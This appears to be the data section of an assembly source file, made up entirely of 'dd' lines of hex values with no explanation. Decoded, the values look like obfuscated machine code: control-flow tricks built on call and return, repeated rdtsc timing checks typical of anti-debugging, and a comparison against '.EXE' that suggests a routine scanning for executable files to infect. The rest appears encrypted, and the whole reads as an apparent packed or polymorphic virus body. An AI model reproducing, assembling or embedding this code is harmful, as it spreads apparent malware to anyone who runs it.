		dd 8D00B162h, 9669DC38h, 0E8DB2B9Fh, 0Eh, 0F3B6417Dh, 8F934CE2h
		dd 0A557D236h, 0CD80134Fh, 148B5F1Ah, 10E91Eh, 0A0DD0000h
		dd 52A9E947h, 0A05B7932h, 79DF8355h, 0EA81F40Eh, 66CF3D99h
		dd 0A0C4C281h, 890F643Fh, 3, 81C2BF0Fh,	2F1411C2h, 1E148943h
		dd 28F0Fh, 0E58A0000h, 0B8E98166h, 4EB83A8h, 0A178FB81h
		dd 850FFFFFh, 18h, 34E9F8h, 2B300000h, 8540211Ah, 4E050275h
		dd 1DC679E7h, 8D8AF0A3h, 78D0Fh, 0B9560000h, 63222B68h
		dd 0FF84E959h, 4D81FFFFh, 0C6BF3E17h, 4AAE858Bh, 0EA3A5E44h
		dd 8D8DB42Ah, 6AE8A77h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 70C35343h, 80E267D8h,	8D894AD6h, 6A916CDh
		dd 1840Fh, 0C7F90000h, 0A90CE585h, 5BF806h, 9EE78100h
		dd 0C7661DE1h, 0A911CD85h, 6, 0F59D2900h, 0FF06A908h, 0A911C1B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 9EE75DB3h, 52152892h, 8195FFC6h,	6A06A932h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0A25AC356h, 48D28146h, 0B866E240h, 8F0F09ECh
		dd 1, 0FF006AF9h, 0A92D9595h, 0EBC08B06h, 7D38142Ah, 42E0DA5Ah
		dd 0ABFC9EE9h, 0DE83084h, 9DE983DFh, 5794420Dh,	3C022227h
		dd 85D46F95h, 2109C451h, 599CE115h, 0E838A0C8h,	11h, 3119FEE3h
		dd 0B7629DBCh, 4DB230CEh, 0D362A14Ah, 0D195897Dh, 5B06A905h
		dd 0EED3B860h, 9D89313Ah, 6A90955h, 0F9C38161h,	0F000067h
		dd 0A86h, 5E900h, 0D7460000h, 0BF565107h, 170A3495h, 2D43F781h
		dd 33FF170Ah, 8B6658F8h, 1AF081CFh, 235FDB4Ch, 0A927E58Dh
		dd 0CDE88106h, 0E8591A8Ah, 7, 0F3E0B1C2h, 6696A7E4h, 8159F08Bh
		dd 1C53D3C0h, 0F7BF0F73h, 8D890389h, 6A90819h, 0BA40EB81h
		dd 0EA816C9Dh, 5DCB2C6Bh, 0BA3CC381h, 958B6C9Dh, 6A90E55h
		dd 0A7850F4Fh, 89FFFFFFh, 0A907C585h, 13CE906h,	4Fh dup(0)
		dd 0BD830000h, 6A91D95h, 0B5840F01h, 0F8000006h, 16B185C6h
		dd 6A4306A9h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0B3D9C353h, 5D6D2316h,	60F80071h
		dd 5B616052h, 6F49F381h, 68610A2Eh, 0B0B09B55h,	7841B860h
		dd 810F205Bh, 5, 589D44B9h, 4816160h, 0F535A024h, 0FE8603Bh
		dd 26000000h, 7E58BADEh, 74322FD2h, 0FA768FD3h,	5850D998h
		dd 68D0F5Ah, 81000000h,	97674BE6h, 810F6167h, 16h, 11E9h
		dd 0F21EE500h, 5E8F2BC3h, 0A6761313h, 9DCEDA30h, 0B5FF8D0Ch
		dd 6A910B5h, 7860Fh, 66600000h,	0CAB6F98Bh, 858DF561h
		dd 6AC73FCh, 7E9h, 63F59500h, 4B3A79F3h, 8C0FD0FFh, 12h
		dd 0DE9h, 9670A100h, 0C398F420h, 35391F49h, 8589E5A5h
		dd 6A91691h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	3AC35040h, 441851F1h, 0B185C6B4h, 5006A916h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 92C35242h, 4E8F5h
		dd 0AD560000h, 5250A8ADh, 10E9h, 841C1700h, 6C31FD3h, 0C40500F9h
		dd 0BB8F4E7Dh, 0F310F83h, 283h,	5A616000h, 52505058h, 28A0Fh
		dd 61600000h, 5250310Fh, 310F5250h, 310F585Ah, 310F5250h
		dd 585A585Ah, 448B585Ah, 0FE90424h, 0E8000000h,	3E3EB4B7h
		dd 0B352D000h, 9FE8D2E1h, 8B65DFh, 12840Fh, 52500000h
		dd 850Fh, 310F0000h, 310F5250h,	585A585Ah, 4244489h, 52505250h
		dd 14E9h, 6BA47000h, 9447E507h,	9685039Ah, 200EED23h, 0E5D5333Ch
		dd 50310F6Dh, 5A310F52h, 0F585A58h, 60525031h, 0F310F61h
		dd 84h,	5A585A00h, 14E95858h, 0E2000000h, 7474FD90h, 0D4613F2Dh
		dd 29E77E67h, 0AFC2A847h, 0E9F26093h, 9, 3D4616BCh, 5A0A04AFh
		dd 0B5B5FF81h, 6A06A910h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 76A6C355h, 0E9B26053h
		dd 13h,	0A67D2C48h, 0B9F68E8Dh,	0FBA6C3FFh, 0AF920F1h
		dd 6073CB3Dh, 0DE8h, 8B00BF00h,	590DEA6Fh, 0CDBF0BBFh
		dd 8B0FEF26h, 0
		dd 4E8FB85Fh, 8D613290h, 0AC73FC85h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 7DD66F27h
		dd 60C0EAD8h, 8A616060h, 61F861F4h, 6AD0FFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 39DACDC3h
		dd 0E9F05E5Ah, 7, 0DD11F76Ch, 8920A7DEh, 0A925F185h, 7870F06h
		dd 0F000000h, 18Ch, 8968F500h, 50CFE8E6h, 60525052h, 60310F61h
		dd 0F585A61h, 50525031h, 5A310F52h, 0E9310F58h,	13h, 70AE8B31h
		dd 86F894FDh, 63FDCC6h,	121DEF3Dh, 5AE98EB6h, 81585A58h
		dd 4EA62434h, 6A3F67h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 8C0FD8C3h, 0Ch, 6820Fh, 800F0000h
		dd 0
		dd 10B5B5FFh, 8DF806A9h, 0AC73FC85h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0F1949409h
		dd 4F8326Bh, 11E9h, 2F9E800h, 0B4B24161h, 36367B4Bh, 495AB3Bh
		dd 5E9BFB8h, 8E000000h,	5F0F49D3h, 6AD0FFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0E39AF4C3h
		dd 11E9839Ch, 52000000h, 5633A7F7h, 0D9CB338Ah,	0BC5B35CFh
		dd 80A8556Fh, 85896160h, 6A93331h, 8E9h, 1A7D7800h, 909F53C3h
		dd 0B185C610h, 5006A916h, 1890Fh, 0FF50000h, 118Ah, 0B8C0F00h
		dd 0E9000000h, 6, 0F3C37A50h, 9068A7D9h, 0E950A9D6h, 13h
		dd 9BBAF30Eh, 694CC070h, 3E4EEA66h, 675BF610h, 815773CFh
		dd 5C62404h, 6A46F3h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 1A8D7AC3h, 0FB025B33h, 0B5FFF0DDh
		dd 6A90155h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	1CC35747h, 5493E39Fh, 0CE9C84Fh, 0F3000000h, 0D44A1EEDh
		dd 43BFE176h, 0FA397B1h, 1382h,	0EE900h, 0A5350000h, 544C3DE5h
		dd 8BB24E16h, 0A4349E31h, 3C26858Dh, 870F06A9h,	1, 0FD0FFFCh
		dd 1186h, 0CE900h, 72760000h, 657D653Ch, 22BCE094h, 0FC6024F9h
		dd 0AE9h, 75403100h, 3E7AAD5Fh,	61EE69A4h, 10A58589h, 0E9F806A9h
		dd 1D0h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 18h,	97C35646h, 396F7050h, 18B0Fh, 95F90000h, 0E820Fh
		dd 52500000h, 310F5250h, 310F585Ah, 585A6160h, 0AE950h
		dd 2D200000h, 35AF5433h, 8C9911BBh, 52006A95h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0A2DFE6B6h
		dd 0F2378D19h, 0C8D0FA2h, 0F000000h, 68Dh, 860F00h, 0F000000h
		dd 1787h, 12E900h, 513F0000h, 0C129A97Eh, 0AE54A47Bh, 897E316Bh
		dd 54443865h, 0F8FCEC8Bh, 0F8FCC483h, 52006A60h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 822F22A2h, 34AF6D55h, 0BE907h, 0C6AB0000h, 296CECEFh
		dd 6487E6AEh, 0E849h, 815A0000h, 0AE9265EAh, 0FC45C706h
		dd 0
		dd 1D95BA83h, 0F0106A9h, 9884h,	6A5200h, 92FF0F6Ah, 6A91691h
		dd 5582895Ah, 8D06AE8Bh, 0AE8B599Ah, 3C75206h, 128h, 92FF5053h
		dd 6A925F1h, 9A8D525Ah,	6AE8B59h, 55B2FF53h, 0FF06AE8Bh
		dd 0A910A592h, 0C00B5A06h, 9A8D5074h, 6AE8B59h,	33247B8Dh
		dd 4F981C9h, 74000001h,	3C8141D4h, 58452E39h, 8DEE7545h
		dd 752B3934h, 9DBA8D0Ch, 8B06A91Ah, 0A4F30C4Dh,	52AAC032h
		dd 8D0875FFh, 0A91A9D82h, 92FF5006h, 6A93331h, 75C00B5Ah
		dd 0FC45C7A0h, 1, 45C707EBh, 0FCh, 458B6100h, 8C2C9FCh
		dd 15860F00h, 0E9000000h, 10h, 0B138289Fh, 728ADFFEh, 92B23FE8h
		dd 92685834h, 0BF6660FCh, 0CE9CD53h, 8D000000h,	0D85A4BF5h
		dd 68CD2151h, 61BC0EB1h, 66E9D28Bh, 60000002h, 0F6D98C66h
		dd 840F04C1h, 35h, 0B5FF016Ah, 6A90155h, 73FC858Dh, 0D0FF06ACh
		dd 35918589h, 0FE8B06A9h, 680CEFC1h, 20060000h,	26A006Ah
		dd 0D6857h, 95FF0001h, 6A93591h, 32E9h,	0B185C600h, 5606A916h
		dd 0C530DF68h, 0B5B5FFA9h, 8D06A910h, 0AC73FC85h, 89D0FF06h
		dd 0A9332185h, 0CD858D06h, 5006A926h, 56A406Ah,	2195FF56h
		dd 6106A933h, 0C3h, 2 dup(0)
		dd 0D48B5200h, 8428B60h, 93D88589h, 428B06AEh, 0D085890Ch
		dd 8B06AE93h, 85891042h, 6AE93D4h, 940EB58Dh, 858D06AEh
		dd 5B8EA1h, 5A61D0FFh, 8B000CC2h, 0AE93D8B5h, 0D0858B06h
		dd 8306AE93h, 0AE93D4BDh, 840F0006h, 7,	2E90689h, 88000000h
		dd 0CF06h, 0
		dd 8B520000h, 428B60D4h, 0D8858908h, 8D06AE93h,	0AE945FB5h
		dd 0A1858D06h, 0FF005B8Eh, 8B5A61D0h, 0AE93D885h, 4C206h
		dd 93D8858Bh, 8B06AEh, 93D88589h, 0CF06AEh, 60000000h
		dd 9435B589h, 858906AEh, 6AE9431h, 1611858Dh, 408B06A9h
		dd 6E858944h, 8D06AE94h, 0AE94A4B5h, 0A1858D06h, 0FF005B8Eh
		dd 858B61D0h, 6AE9435h,	319D8BC3h, 0F06AE94h, 33C43B7h
		dd 785B8BD8h, 94319D03h, 738B06AEh, 31B50324h, 5606AE94h
		dd 8B207B8Bh, 0BD031C73h, 6AE9431h, 9431B503h, 83FC06AEh
		dd 8B41FFC9h, 0AE94359Dh, 3178B06h, 0AE943195h,	4C78306h
		dd 0C084028Ah, 0F840Fh,	33A0000h, 0FFDC850Fh, 4243FFFFh
		dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh
		dd 386048Bh, 0AE943185h, 35858906h, 8B06AE94h, 8BCE8BF0h
		dd 6EBD81C1h, 6AE94h, 0FC03000h, 0D85h,	14E8C100h, 0FFC25h
		dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 6AE946Eh
		dd 6070C83h, 8B07148Bh,	3C8124C2h, 0FC18B81h, 5784h, 6EBD8100h
		dd 6AE94h, 0FC03000h, 0D85h, 0AE8C100h,	3FFFFC25h, 8E900h
		dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h
		dd 80h,	1E840Fh, 0BD810000h, 6AE946Eh, 0C0300000h, 0E840Fh
		dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 0DC858DCFh
		dd 8906AE93h, 0A914C985h, 72858D06h, 8906AE94h,	0A92D7D85h
		dd 39858D06h, 8906AE94h, 0A91F5D85h, 928D8D06h,	8B06AE96h
		dd 0CD8D89F1h, 6A06A916h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 2DA8C355h, 0E9AFEE6Bh
		dd 13h,	80972854h, 72A9C942h, 751C645h,	9D8A60FBh, 0C71CE9D0h
		dd 0A90CE585h, 5D2006h,	0AD8D8900h, 0C706A910h,	0A911CD85h
		dd 6, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 161755CCh, 0FFED2EBFh, 0A92C85B5h
		dd 61852B06h, 0FF06A903h, 0A9328195h, 0EE906h, 0EA120000h
		dd 0A143AFB2h, 14FB1B59h, 0A0F17B5Ch, 95FF006Ah, 6A92D95h
		dd 8EBC08Bh, 283E9696h,	28D71151h, 6AC08Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 810F4CC3h
		dd 1, 1DBD83FCh, 6A913h, 0BD830975h, 6A91431h, 50197400h
		dd 0B8C08B53h, 3FCh, 24458589h,	9D8D06A9h, 6ABB45Ch, 585BD3FFh
		dd 1431BD83h, 740006A9h, 0B8535017h, 3FCh, 24458589h, 9D8D06A9h
		dd 6ABB14Bh, 585BD3FFh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 0F9C35646h, 870F3D0Ah, 5, 0F1CA8166h
		dd 12E9E1h, 0F7780000h,	84CFA2ADh, 295026E4h, 297440AAh
		dd 0C9C318E6h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	6FC35646h, 0D38B8299h, 12830Fh,	0E9600000h, 7
		dd 2AF47A43h, 661EFF9Eh, 61F019B9h, 6AC08Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 149023C3h
		dd 0FFAAFD3h, 28Bh, 83D38A00h, 0A912ADBDh, 840F0106h, 55h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 3CC35747h
		dd 6BA3DE01h, 0FE9h, 0F5128200h, 226B67Ah, 0EDD65F18h
		dd 0B47740A3h, 0F5BD83h, 0F0006A9h, 1485h, 0DBB70F00h
		dd 27E9BD83h, 0F0006A9h, 6184h,	2BBB6600h, 3E0E91Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 532B07C3h, 0A32890C7h, 8AB24Dh, 66000000h, 0FB026BAh
		dd 282h, 6AF38A00h, 3E85000h, 20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 8D72C350h, 9E7FD381h, 54DE3DDFh
		dd 0E707A7CDh, 5917BE70h, 0BBEFB2E7h, 8B33935Ah, 0E2726E16h
		dd 0C14D3F16h, 68FFFC4Fh, 60571B5Ah, 0F8AD1B52h, 0A0D43F16h
		dd 6B38FC47h, 9A3A9A01h, 0D97D78ACh, 879DC076h,	8A81DADh
		dd 0E1533BD7h, 9FA3F7Ch, 0E1D43F15h, 0BAA96436h, 0E511639Fh
		dd 0E5BE7B97h, 0E14D3F0Dh, 0C5656C55h, 0F3934903h, 5BBFC82Dh
		dd 0C971F463h, 0E16AD743h, 60683F16h, 4F02DEFBh, 3BC66F10h
		dd 0AD4DBE4Dh, 0EE1F7D00h, 0E1A93D93h, 6A05B416h, 0B66A55D6h
		dd 0E1353CFEh, 22C51F16h, 0C531B649h, 0C5E2BE12h, 0E1532A12h
		dd 22FE7816h, 8848585h,	0E16A3F02h, 746856C3h, 3B81CD50h
		dd 0C419CED1h, 30CF0EAAh, 22B55D04h, 148D3B9Fh,	0A678470h
		dd 0C5263E19h, 0B63555E8h, 0E19A3CFEh, 22121F16h, 0C5DAB649h
		dd 0C517BE12h, 0E1A92512h, 22837816h, 8B282C89h, 0B9989425h
		dd 9C93F7Ch, 0E14D3F15h, 0BA656436h, 0E577639Fh, 0E58D7B97h
		dd 0E1D43F0Dh, 0F7A96C55h, 682BB575h, 0E4F0E2D3h, 0E14D3D1Ah
		dd 9F13F7Ch, 0E1533F15h, 0BE6A6036h, 0E5F0439Fh, 0E54E7B97h
		dd 0E1353F02h, 3596851h, 0B91F8470h, 8753379Dh,	61AF779Dh
		dd 59505EDCh, 0E1D43F17h, 0EC83E79Dh, 0D8353F16h, 910427Eh
		dd 26B165B1h, 0E1F2C925h, 0E159D787h, 267C3F16h, 92A0ADE4h
		dd 27A0257Ch, 0A6F41EACh, 87CA6504h, 8BDCE79Dh,	0E24E6816h
		dd 0C1533F16h, 68F6FC49h, 60D01B6Ah, 0FA6E1B52h, 0A6353F16h
		dd 8E67FC41h, 30C41D7Ah, 0F14F1BA4h, 2E533F16h,	730579C1h
		dd 9A727CA8h, 0A9E2FDD5h, 877FC260h, 0E1F0E69Ah, 0E14ED745h
		dd 0BA863F16h, 0BDDA64D5h, 0A5283B32h, 0E1C03B32h, 0B2293F16h
		dd 0E9DC95D5h, 0C29A3F16h, 2257426Eh, 5636A045h, 0E592C985h
		dd 0E0AEBA19h, 6ADB3F16h, 0E16A3F13h, 521478ADh, 5AFC6617h
		dd 0D8CD31CCh, 8423307Eh, 8B533F17h, 0E2416916h, 0C1D43F16h
		dd 6834FC48h, 60311B62h, 0F89E1B52h, 0A74D3F16h, 4DABFC40h
		dd 9E0BCEB5h, 0E1A935FFh, 3304BF16h, 1FC4CE77h,	6ABFFF28h
		dd 0E1F03E6Fh, 0E14ED746h, 0B9863F16h, 0A5DA67D5h, 0A5283B32h
		dd 0E1CE3B32h, 0B12A3F16h, 6FA5A2D5h, 0E419E4B5h, 0E14D36FFh
		dd 44A66616h, 81BE6A14h, 68A6365Ah, 0E1D43F15h,	60A8CC96h
		dd 0E1353FE9h, 0C183096h, 6B4D3F16h, 0DF23F8E3h, 0E055918Eh
		dd 8BA93F16h, 0E23C6C16h, 0C16A3F16h, 686EFC4Dh, 609E1B4Ah
		dd 0F4491B52h, 0A2A63F16h, 1052FC45h, 0E941E79Dh, 68D43F16h
		dd 1B956586h, 5B441031h, 9D4961E2h, 0E181D64Dh,	8533F16h
		dd 0E1533FB2h, 9F93F7Ch, 0E1D43F15h, 0B9A96736h, 0E5117B9Fh
		dd 0E5BE7B97h, 0E14D3F0Dh, 0C6656F56h, 0C070959Ch, 524C2EF9h
		dd 0E35A30D2h, 6A6A3F16h, 0E9DC66C9h, 379A3F16h, 93B329Fh
		dd 874AEC15h, 1E584695h, 0E1F7BB19h, 0E1BE3F16h, 0E169D740h
		dd 0BF153F16h, 951361D5h, 0A5CC3B32h, 0E1B33B32h, 0B7153F16h
		dd 877415D5h, 6413E99Dh, 0E7C4A728h, 0E1353F17h, 9CD3F7Ch
		dd 0E14D3F15h, 0BE656036h, 0E577439Fh, 0E58D7B97h, 0E1D43F0Dh
		dd 0C2A96851h, 0AA03B9FEh, 88B433Bh, 0E14D3F1Ah, 0A200A456h
		dd 89C1E118h, 0FDDE879Ah, 0B7D4555Eh, 0E16A3CFEh, 226B1F16h
		dd 0C5EEB648h, 0C509BE12h, 0E1A62A12h, 22057916h, 5BCF5BC4h
		dd 416D4A35h, 6C215707h, 4FA8FC93h, 0F427B210h,	0DA4B918Ah
		dd 0D1A14BEEh, 0A69AEE19h, 0E1C3CAFDh, 0E1D7D743h, 0BC4A3F16h
		dd 8DBC62D5h, 0A51B3B32h, 0E1573B32h, 0B4E33F16h, 5A03B7D5h
		dd 98E3CA74h
		dd 0E1DFD645h, 17953F16h, 4F380EAEh, 0EEF6F14h,	0E1276573h
		dd 0E1A5D747h, 0B8733F16h, 0AD2066D5h, 0A5553B32h, 0E17E3B32h
		dd 0B0743F16h, 5C195ED5h, 0E7E42DBBh, 0A7223017h, 5B533F16h
		dd 0E63FDA8Dh, 0E1218295h, 0EE6A39BFh, 0E1350B93h, 0B69A5516h
		dd 0E14D3CFEh, 22F91F16h, 0C52FB649h, 0C5EDBE12h, 0E1D42812h
		dd 223D7816h, 2F6DD596h, 0FC3EC3ACh, 8F0BC18h, 0E1A09631h
		dd 0E158BB19h, 6ACF3F16h, 0E163D6C9h, 6A0C3F16h, 4C88BCC9h
		dd 0E09C9604h, 0E100BA19h, 8BFB3F16h, 0E2BB6816h, 0C1A93F16h
		dd 688BFC49h, 606E1B6Ah, 0FB311B52h, 0A69A3F16h, 0A94CFC41h
		dd 69634D3Fh, 68B884B3h, 146A25C2h, 0E1D447FFh,	0B76A5516h
		dd 0E1353CFEh, 22C41F16h, 0C539B648h, 0C5E2BE12h, 0E1532912h
		dd 22FF7916h, 0BCB9D246h, 9593AAADh, 0E15FF063h, 0E199D745h
		dd 0BA6D3F16h, 0BD2F64D5h, 0A5D23B32h, 0E1B53B32h, 0B2973F16h
		dd 8F355FD5h, 2C3A3873h, 0EE7241E0h, 0D34D3F16h, 0DDEABAC7h
		dd 0C38ACBA9h, 6936C4A2h, 0F03D5109h, 356A3F16h, 69D3E696h
		dd 0D87DB11Ah, 0CC370D3Bh, 4DD78E23h, 0FDE8594Ch, 9014B26Ah
		dd 6CD2918Eh, 4FF7AF9Bh, 0BD288710h, 64A9442Ch,	0E7E43DC3h
		dd 416DF03Dh, 6C215707h, 4FA8FC93h, 0F427B210h,	0DA4B918Ah
		dd 0D1A14BEEh, 0A69AEE19h, 5E983FDh, 0BD83A4F3h, 6AE983Eh
		dd 8D0D7400h, 0A94DC08Dh, 1B806h, 0E1FF0000h, 0D0BF0F40h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 6CC35040h
		dd 0E2816652h, 835B7C14h, 6A2DE8h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 590414C3h, 0B3393860h
		dd 66C08B56h, 0F860D68Bh, 61CEB70Fh, 131DBD83h,	750006A9h
		dd 31BD8309h, 6A914h, 53501974h, 0FCB8C08Bh, 89000003h
		dd 0A9020985h, 0C39D8D06h, 0FF06ABB4h, 83585BD3h, 0A91431BDh
		dd 17740006h, 0FCB85350h, 89000003h, 0A9020985h, 649D8D06h
		dd 0FF06ABB1h, 6A585BD3h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 404FC357h, 57258C63h
		dd 6A5BF5h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0D80CB2C3h, 7BD13083h, 0E925DC14h, 13h, 57CA9589h
		dd 3122840Dh, 0A43C2397h, 8224C287h, 8BB931ECh,	9C8D8DC0h
		dd 8906AE9Fh, 0A916CD8Dh, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0EC486ED8h
		dd 7CE7DB37h, 850BBF93h, 6A92689h, 0CE585C7h, 5EF006A9h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 6A4CABC3h, 3BF3F1Dh, 0C7682E35h, 0A911CD85h
		dd 6, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 71B5FF37h, 5706A931h, 23D1BD33h
		dd 895A06A9h, 0A9125185h, 8195FF06h, 6A06A932h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 7D44C350h, 0B4887ECEh, 2A0D9D89h, 6A06A9h, 2D9595FFh
		dd 0C08B06A9h, 6C217AEBh, 0AA25D20Ch, 0E6DCBF94h, 0E59D9195h
		dd 8447D5A5h, 5C67529Ch, 0FE906DDCh, 0FAB463A8h, 163D370Eh
		dd 57A954C5h, 2C5908E2h, 0CDC7667Ch, 21D9953Eh,	1DE5C5h
		dd 0A73991B9h, 2D5E41D5h, 0B435EED1h, 4C8D4C24h, 9FB55104h
		dd 0C2734CC2h, 469A69D8h, 0B46FF5C9h, 0FAACEE16h, 0C84952D6h
		dd 78E59EB0h, 40A765Fh,	57CEB407h, 0EA3DE3B1h, 0D919D6F3h
		dd 0A9E86C1Dh, 191B8763h, 0A0DD8D8Dh, 6A06AEh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 8B95C1C3h, 0A902319Dh, 0A9B58906h, 8906A908h, 0A916CD8Dh
		dd 0F9852306h, 0C706A909h, 0A90CE585h, 5E8406h,	56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 1D53E9C1h, 0CD85C7F5h, 6A911h, 89000000h, 0A9359585h
		dd 57BB6606h, 7DB5FF21h, 6A06A926h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0D12EC352h
		dd 3EDDB169h, 12DE8E25h, 29559D23h, 816606A9h, 0FFE031EFh
		dd 0A9328195h, 718D0906h, 6A06A902h, 9595FF00h,	8B06A92Dh
		dd 170AEBC0h, 0AA98E5FEh, 0EDA6DDA9h, 7E973h, 92D40000h
		dd 517h, 0BFBE900h, 4E680000h, 0E906AEA2h, 0FFFBA910h
		dd 0AEA35F68h, 0A906E906h, 0A68FFFBh, 0E906AEA5h, 0FFFBA8FCh
		dd 0AEA67468h, 0A8F2E906h, 3E68FFFBh, 0E906AEA9h, 0FFFBA8E8h
		dd 0AEAA8D68h, 0A8DEE906h, 5D68FFFBh, 0E906AEABh, 0FFFBA8D4h
		dd 589020C9h, 0B0E87823h, 53DCD7Bh, 589020D0h, 0AEE67623h
		dd 0AF5CEDB2h, 6B2E71Fh, 5A093E76h, 0B35D92CAh,	18A7EB23h
		dd 0AE529AB3h, 0B222671Fh, 0AF59DC86h, 1D50BD1Fh, 2154E373h
		dd 3575E272h, 0CDB8AA0h, 97A70C9Bh, 741FAA06h, 0BB60C532h
		dd 0E01FA9E0h, 2B50A43h, 7BAD418Eh, 42h, 0CCDB0C0Bh, 1F94DE3Dh
		dd 0C328B977h, 2154C12Eh, 3979E676h, 11A636E4h,	0AAA4BEACh
		dd 52C8D1Fh, 0FA68E469h, 0D93BCB7Bh, 0F0A50A77h, 251FA9C5h
		dd 28B86396h, 8A351893h, 0AD41B4D7h, 0B350h, 0DC86E000h
		dd 0EB50BD4Ch, 1900F352h, 7DC85D9Fh, 0A00D9D4Ah, 9040C36Dh
		dd 0A20F9E00h, 0C431C16Fh, 0F364FD84h, 6FB11900h, 0B25C8FDAh
		dd 8B83EA22h, 151900F8h, 6EA3DB6Bh, 1AC734C4h, 0E64BDACDh
		dd 1FAA128Ch, 0B26199DBh, 7EE37235h, 19058E3Dh,	86B9488Ah
		dd 18A856D9h, 0D1096BABh, 295FEF9Ch, 0F5ED0C9Ah, 2CB37A4h
		dd 0D400000Ah, 2E639B2Bh, 86BBF383h, 0DB1048D8h, 2E639B2Bh
		dd 0BDB9F181h, 2ABA67D8h, 8111BDF2h, 0D5651449h, 2EBE689Dh
		dd 0BE23B2F6h, 1FAE51A5h, 86BD2D72h, 0A21149D9h, 9BE9BC43h
		dd 0C0551F4Fh, 1B53E38Dh, 3DCD79ACh, 0ABFB90D0h, 0DD6D194Ch
		dd 0DC49D988h, 8D5A079Ch, 0EB1E8B1Ah, 0FF3FAC3Ch, 741056Ah
		dd 77E61FAAh, 0A9E77912h, 0E691C61Fh, 65F456h, 1FA9E767h
		dd 0A31072B4h, 0A9E7593Eh, 0B141EB1Fh, 0D3631144h, 0F459D666h
		dd 6CE17E00h, 4192A053h, 0E519ADh, 86A90000h, 72DF4CDCh
		dd 1A339805h, 0E71900F3h, 0F3051EA5h, 9DD21900h, 6C0163F3h
		dd 8FFC8C39h, 0F8702Ah,	8212BC19h, 0DB6B154Ah, 8126C16Eh
		dd 12358DF2h, 40821FAAh, 198E5908h, 0EAA7578Ah,	0A9DAEC85h
		dd 95F7391Fh, 0E653E828h, 58D2F81h, 9B477C19h, 29E079DEh
		dd 0EB2D1454h, 2B982789h, 5429ADC6h, 0A3387A14h, 0C6560336h
		dd 1CAC598Eh, 0ED1147E6h, 92FE6BF5h, 8F1h, 74AC3CE5h, 0CC04943Fh
		dd 2159E997h, 74AC3CECh, 0CA02923Fh, 0CB78C9CEh, 22CE033Bh
		dd 76255A92h, 0CF79AEE6h, 34C3073Fh, 0AE50B6CFh, 0CE3E831Fh
		dd 0B71CD986h, 1900F39Eh, 38C7296Bh, 3AC95905h,	0F3BCD5h
		dd 0B2478919h, 4AFA2D9Ch, 7E0D4DBAh, 0F20019h, 0F68BCD19h
		dd 0FA8919C3h, 1B8818C7h, 265F5ADBh, 15F30746h,	86186A80h
		dd 0ACDF4CDCh, 8B3A7202h, 57BC4B5Ch, 1FA9F66Fh,	0FA2D9ADCh
		dd 5388C050h, 47AC19A9h, 0AA2C1508h, 0FD0449C4h, 9121D053h
		dd 0B545F124h, 44A60848h, 9D2DD70Ch, 0D5CFCB30h, 0A01B832Dh
		dd 1AAA54ADh, 1BAB588Bh, 0C3D96EAEh, 0C554E48Eh, 358E892h
		dd 1C5CC959h, 0C9D73C87h, 7F832DD5h, 0A2D542D2h, 69F966F6h
		dd 0E19361ECh, 6E18E964h
		dd 0C771A6DEh, 0CA1DCA37h, 85E94EDDh, 0F2858736h, 3FEE21B0h
